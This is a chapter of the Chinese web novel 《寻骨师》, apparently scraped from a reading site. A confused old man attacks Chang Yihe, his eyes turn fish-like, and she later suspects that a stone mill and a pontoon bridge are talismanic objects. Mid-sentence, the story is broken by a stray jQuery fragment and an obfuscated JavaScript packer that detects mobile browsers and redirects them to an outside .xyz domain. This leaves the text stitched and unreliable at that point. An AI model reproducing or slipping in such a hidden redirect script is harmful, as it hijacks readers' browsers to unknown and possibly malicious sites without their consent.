56.第 56 章
作品:《寻骨师》 这话说得连原是专心开车的明哥,都忍不住侧首看了卫也一眼。
小丢假装认真干事,实则支起耳朵,认真听着常意禾会说什么。
“还行,他帮了我许多忙。”常意禾如实说着。
但卫也听完这句话,就沉默了,像是在思考,又像是在走神。
车内再次陷入安静。
明哥感受到气氛这次得安静有点异常,他轻声咳嗽一声。
“咳,我想开点音乐,你们介意吗?”
“不介意。”常意禾看了眼正前方的后脑勺,语气平静地来了一句。
卫也继续沉默,垂首拿出手机,不知干什么。
小丢觑了一眼斜前方,又瞟了眼身边的常意禾,忽然用手碰了碰她。
【还有便利条给我吗?】
常意禾回神,她发现自己手上动作早就停下来了。
常意禾眉心蹙了一下,重新专注回手上的工作。
一个半小时后,车辆停在了浦城县的县镇中心。
车辆穿梭在逐渐热闹的城镇街道时,许久不说话的卫也解释一句:“我堂舅公疯了之后,我让明哥将他送到镇中心的护理院。”
“为什么不直接带到市区治疗?”常意禾反问。
“因为带不走。”
明哥主动替卫也解释。
常意禾和小丢都不禁望向驾车的明哥。
“我找到卫也堂舅公时,他一直不说话,但只要带他离开浦城的地界,他就会大喊‘鱼来了,鱼来了’。”
“实在闹得很,没办法,我只能将他带到镇中心的疗养院待着。”
常意禾立刻追问:“那他喊完‘鱼来了’后,有没有还说其他话?”
明哥道:“有啊,有几次说完那两句怪话后,他就会说‘不能走’,估计是在说他不能离开这里吧。”
明哥将车辆转进新的街道,车窗外的景色也换了些。
常意禾远远瞥见一个红色凉亭,亭中放置着一口名为‘女儿井’的水井,而在井的不远处,一个石磨盘立在一家店家门前,洁白丝滑的米浆正随漏口流出。
明哥以为常意禾肚子饿了,问一句:“想吃这里的豆腐丸?这家店挺出名的,我在这里干活时,吃过一次,味道不错。”
常意禾摇头:“不是。”
“只是觉得这石磨盘出现在这里,有些奇怪……”
“什么奇怪?”卫也这下也参与进来讨论。
常意禾却没有明说,只道:“可能是我多心了,再看看,等看个明白,我再与你们细说。”
卫也和明哥没再说什么。
一刻钟后,车子停在了疗养院外面,一行人跟随卫也进去办理手续,准备带他堂舅公离院几天。
卫也在办理手续时,明哥已经带着常意禾他们上楼找卫也的堂舅公,而小丢因为内急先去了洗手间。
明哥边推开门,边说:“卫堂舅公叫河田玉,刚护士姑娘说了,他现在就在里面呆坐着。”
话音刚落,门被推开,单人病床上只有一个身体微微佝偻的老汉坐在边沿,背对着他们。
“舅公,我们过来啦,还记得我是谁不?”明哥放柔声音问。
但河田玉没有回头,仍呆望着窗外的天空。
常意禾安静地走近观察这位老汉。
随着距离慢慢拉近,河田玉的脸逐渐清晰。
当常意禾看清他的模样时,她的脚不由自主停了下来。
一层白翳蒙在凹陷的眼眶上。
倏忽间,原本看着窗外的老汉猛地转头,死死盯着常意禾。
“鱼来了,鱼来了!”
他一边喊,一边朝她扑过去。
常意禾虽然早就做了些准备,但没料到他会猛扑上来,而且因为对方年纪大了,她还要顾忌对方的身体,一时间整个人反被对方扑倒在地。
“砰!”
河田玉死死掐住落地的常意禾的脖子,脖上的老筋凸起。
“鱼来了,鱼来了!”
满是白翳的眼睛盯着常意禾的脸。
一并进来的明哥吓得立马冲过来,想方设法地拉开两人。
常意禾原本横在河田玉后脖子的手,在看到明哥过来后慢慢放下。
她还趁着两人现在的距离之近,仔细地盯看河田玉眼睛的情况。
原本眼球被一层白翳蒙着,但现在一凑近看,常意禾却看见白翳之下放大的瞳孔正快速地左右转动。
就似一对恐慌的眼睛,正在寻找令它恐惧的事物。
很快,眼珠子停下来。
它们不停放大,而白翳颜色飞速变淡变透明,眼睑也跟随退化。
常意禾屏住呼吸,不禁定定地与那双“鱼目”对视,就连脖子逐渐收紧的力度都无暇顾及。
忽然,明哥大力扯开河田玉,她也被人拉起,身体撞入对方怀里。
“阿禾,你没事吧?”
卫也紧张地看向她被掐红的脖子。
常意禾后知后觉喉咙被掐痛得发痒,不由自主地咳嗽,一边摆手示意自己还好。
“看……看你堂舅公的眼睛……”
她声音沙哑地提醒。
卫也的视线飞快移到被明哥箍住的亲人。
只见河田玉的眼睛彻底退化,眼球凸起,黑得剔透的瞳孔放大,占据整个眼眶的三分之二位置。
而此时他的眼睑和眼睫毛彻底褪去,乍眼一看,和鱼的眼睛一样。
“舅公!”
“拿东西遮住他的眼睛!”常意禾急切地命令。
卫也连忙拿起附近用来擦脸的毛巾,一把蒙住河田玉的眼睛。
很快,挣扎的老汉从像失明的幼儿到处乱看的状态,慢慢冷静下来。
他乖巧地被明哥扶着,但口里仍一直念叨着“鱼来了、鱼来了”。
常意禾见对方终于冷静下来,疲惫地靠在后面的墙。
卫也见河田玉由明哥引到另一处,他重新返回,担心地看着常意禾脖子上的淤青,小心翼翼地伸出指尖触碰她脖子的肌肤。
“需要涂药。”
常意禾抬头,眼神复杂地看着他,最后低声说:“没事,药可以晚些涂,先离开这里再说。”
卫也“嗯”了一声,收回自己逾越的手。
“刚才是怎么回事?”他又问。
“我进来后,你舅公看到我的脸,就冲过来掐我。”
“然后就一直念叨‘鱼来了’这三个字。”
常意禾重新来到蒙了眼的河田玉前面,如今他的眼睛被蒙住,察觉不到常意禾到来,不再做出刚才那可怕的举动。
常意禾一边思索,一边道:“怎么会只攻击我一个呢?是因为我身上有什么?”
卫也下意识看向她的随身包。
“是不是昨天的红盒子?”
常意禾没说话,但偏头看了看自己的身后,这个动作已经说明了她的答案。
“什么红盒子?”不知情的明哥询问。
“没什么。”
卫也不会多暴露常意禾的秘密,因此怪异的玉戒指能被枯树枝压制的一事,他没有告知陆寓丰他们。
明哥知道有些事不好跟他一个外人说。
他主动
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15791629|161671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说:“那还带舅公离开吗?”
常意禾:“离开,他眼睛有了变化,恰好变得像鱼目一样,很有可能和他口中念叨的话有关。”
明哥看向卫也,见他点头答应,便扶着河田玉往楼下走去。
这时,小丢才从外面回来,一进来,就看到稍显凌乱的病房,还有常意禾脖子上的青紫。
【发生了什么回事?】
常意禾简单说了刚才发生的事,小丢听完神色很是凝重。
【这次的委托怎么这么奇怪?】
他忍不住表示。
卫也看见小丢的手语,不禁问:“小丢在说什么?”
“没什么,只是让我们快调查清楚这件事。”常意禾回答。
小丢听见自己的话被歪曲,眼睛微瞪,但没有反驳,老实跟随常意禾往楼下走。
……
办完出院手续后,几人重新上车,因为怕河田玉失控,开车的人变成卫也,常意禾坐在副驾驶,而明哥与河田玉同坐最后一排。
常意禾不想在车上涂药油弄出味道来,因此上车后,她只是安静地垂首研究刚才小丢画好的图纸。
卫也看了她脖子好几次,最后忍不住问:“你不涂药吗?”
“没关系,下车再说。”常意禾头也不抬,“可以跟我们说说你舅公的事吗?”
卫也沿着后视镜,看向最后面似乎累极睡倒的老汉,缓缓将他了解到的事说出来。
“堂舅公是跟我外婆一起搬来浦城的人,听说他的妻子在我妈妈出生后没多久就病逝了,他还有一个女儿,不过女儿却是在我母亲搬家到市区的前夕,掉进河里淹死了。”
后座睡着的河田玉似有所感般翻了翻身。
车里所有人的注意力都放在他身上。
卫也停下了说话。
但过了数秒,河田玉都没有表现异样。
常意禾轻声说出自己的看法:“你舅公家出事,都是在你妈妈家有重大事情的节点上。”
“现在看来是这样……”
“这些事都是你妈妈告诉你的?”
“嗯,她说堂舅公的女儿和她关系很好,她一直记挂在心上,逢年过节,也时不时和外婆回去观前,探望堂舅公。”
“自家里出了那么多事后,堂舅公就一直在观前待着,帮忙看顾外婆留下的空屋子。”
常意禾听完若有所思地望向车窗外,车子已经开进观前村的地界里,远方的吊脚古楼鳞次栉比地在江河对岸边排列着。
“古怪……”她喃喃地说着。
一刻钟后,车辆停在了一家独栋小院外,不远处就是常意禾刚才留意的吊脚楼。
常意禾下车后,不是往身前的小院走去,而是往后方陈色的吊脚木楼走去。
卫也看见她一人出发,低声吩咐了明哥几句,便跟了上去。
小丢帮忙拿东西进屋里,所以没有跟上。
常意禾听着后边熟悉的脚步声,没有说什么,她专心走在验证自己心中想法的路上,没过多久就来到岸边。
她停下来,目光望向下方静静流淌的河水,还有连接河流两岸,由荒弃船只和木板搭成的长长浮桥。
常意禾感觉到卫也在自己后边停下,伸手指向浮桥。
“卫也,你看到那里的浮桥吗?”
“看到了,怎么了吗?”
常意禾回头看着他,同样看见他手中的药油。
她神情一顿,接着说下去:“我没猜错的话,那是镇物,和我今天在县镇看到的石磨同样是镇物。”
“浦城这一带,镇物似乎有点多……”